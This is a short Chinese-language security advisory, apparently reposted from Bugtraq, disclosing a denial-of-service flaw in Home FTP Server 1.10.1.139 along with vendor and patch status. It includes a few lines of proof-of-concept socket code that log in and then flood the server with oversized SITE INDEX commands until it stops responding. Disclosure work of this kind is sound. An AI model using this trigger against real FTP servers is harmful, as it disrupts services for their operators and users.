Home FTP Server SITE INDEX命令拒绝服务漏洞

受影响系统:

Ari Pikivirta Home FTP Server 1.10.1.139

描述:

Home Ftp Server是一款简单易用的FTP服务器。

当用户登录到Home FTP Server后,执行以下步骤就会导致服务器停止响应:

1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.for i in range(1,20):
         sock.send("SITE INDEX "+ "a"*30*i +"\r\n")
5.sock.close()

<*来源:zhangmc (zhangmc@mail.ustc.edu.cn
  
  链接:
http://marc.info/?l=bugtraq&m=125838711621042&w=2
*>

测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

http://marc.info/?l=bugtraq&m=125838711621042&w=2

建议:

厂商补丁:

Ari Pikivirta
————-
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://downstairs.dnsalias.net/homeftpserver.html

发表评论?

0 条评论。

发表评论